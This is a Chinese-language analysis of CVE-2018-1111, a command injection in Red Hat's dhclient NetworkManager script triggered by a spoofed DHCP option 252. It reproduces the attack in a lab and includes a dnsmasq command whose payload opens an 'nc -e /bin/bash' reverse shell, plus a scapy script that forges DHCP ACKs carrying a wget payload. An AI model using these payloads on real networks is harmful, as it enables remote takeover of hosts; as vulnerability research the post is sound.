CVE-2018-1111 Red Hat DHCP客户端命令执行漏洞分析
0x00 背景
CVE-2018-1111具体来说是DHCP client (dhclient) package中的一个脚本文件存在命令注入漏洞,由于DHCP是内网环境下没有认证的UDP数据包,所以攻击场景就是在内网环境下可以伪造DHCP服务器的响应,根据DHCP 252(Private/Proxy autodiscovery) string类型的option,将带单引号的string传入漏洞脚本,完成命令注入。
官方的影响版本是Red Hat6、7,实际测试影响的版本是CentOS 7和Fedora28,漏洞脚本则位于/etc/NetworkManager/dispatcher.d/11-dhclient
(in Red Hat Enterprise Linux 7) 或 /etc/NetworkManager/dispatcher.d/10-dhclient
(in Red Hat Enterprise Linux 6)。
0x01 PoC复现
搭建内网DHCP服务器是关键,CentOS 7作为客户端,Kali作为服务端,在vmware上可以使用同一内网取消自带的DHCP服务,virtualbox的环境配置也一样:
这里取消内置的DHCP服务器是为了我们方便伪造DHCP服务器的响应,和实际攻击场景略有不同。根据DHCP协议,kali上和PoC的payload类似,这里我把租约设置为1min:
dnsmasq --interface=eth0 --bind-interfaces --except-interface=lo --dhcp-range=10.1.1.1,10.1.1.10,1m --conf-file=/dev/null --dhcp-option=6,10.1.1.1 --dhcp-option=3,10.1.1.1 --dhcp-option="252,x'&nc -e /bin/bash 10.1.1.1 1337 #"
CentOS7上使用nmcli来手动重启网卡连接:
nmcli con down id 'enp0s3'
nmcli con up id 'enp0s3'
在kali上进行抓包可以看到DHCP Discover、Offser、Request、ACK的发包请求与响应,最后成功反弹shell:
0x02 PoC分析
在反弹shell后,可以ps看下payload的传递过程:
由于之前nmcli up连接的操作,nm-dispatcher会执行/etc/NetworkManager/dispatcher.d
下面的脚本文件,对应在漏洞脚本11-dhclient中存在命令注入:
我在这里将最后要执行的语句输出至文件中,可以看到最后的payload命令拼接情况:
这里对于option 252 wpad的字符串分隔符单引号没有转义,闭合后导致命令注入。
PoC在CentOS7上测试成功,但在CentOS6上没有效果,根据原推中的评论可知,因为NetworkManager在起dhclient的时候会自动接上对应的conf文件,在CentOS6中DHCP Discover和Request并不会请求252的option,对应也不会解析伪造响应的252 option,也就无法造成命令注入:
0x03 攻击场景
根据man NetwaorkManager 得知,其对不同的网络事件会执行/etc/NetworkManager/dispatcher.d
下对应的脚本,所以只要能够让dhcp客户端重新获取ip就可以命令注入,思路有三种:
- 被动监听数据包,等到主机租约到期发送Request请求时,伪造响应数据包
- 结合其他DOS漏洞,使主机重新获取dhcp ip
- 伪造服务端发送DHCPFORCERENEW消息,使客户端重新获取dhcp ip,但此类型属于DHCP协议扩展,需要身份认证而且没有被客户端支持,无法使用
最后给出一个伪造服务端响应的python 利用的示例代码(exploit-db也有类似脚本):
from scapy.all import *
def num_hex_str(n):
num = '%02x' % n
return num.decode('hex')
def fake_dhcp(pkt):
sys_mac = '08:00:27:59:1b:51'
cli_mac = pkt[Ether].src
cli_mac_hex = ''.join([i.decode('hex') for i in cli_mac.split(':')])
trans_id = pkt[BOOTP].xid
for option in pkt[DHCP].options:
if 'requested_addr' in option:
req_ip = option[1]
break
req_ip = '10.1.1.6'
shellcode = "x'&wget http://10.1.1.1:1337 #"
payload = num_hex_str(252)+num_hex_str(len(shellcode))+shellcode+num_hex_str(255)
print pkt[DHCP].options
if ('message-type', 3) in pkt[DHCP].options:
print 'hello'
dhcp_ack = Ether(src=sys_mac, dst=cli_mac)/IP(src='10.1.1.1', dst=req_ip)/UDP(sport=67, dport=68)/BOOTP(op=2, xid=trans_id, ciaddr=req_ip, yiaddr=req_ip, chaddr=cli_mac_hex)/DHCP(options=[('server_id', '10.1.1.1'), ('message-type', 'ack'), ('lease_time', 120), ('subnet_mask', '255.255.255.0')])/payload
sendp(dhcp_ack, iface='eth0', verbose=False)
def dhcp_callback(pkt):
if DHCP in pkt:
fake_dhcp(pkt)
sniff(prn=dhcp_callback, filter="udp", store=0)
在实际的攻击场景中Python发包会比服务器发包慢,无法欺骗客户端执行命令,可考虑使用C语言等更加快速的方式实现攻击。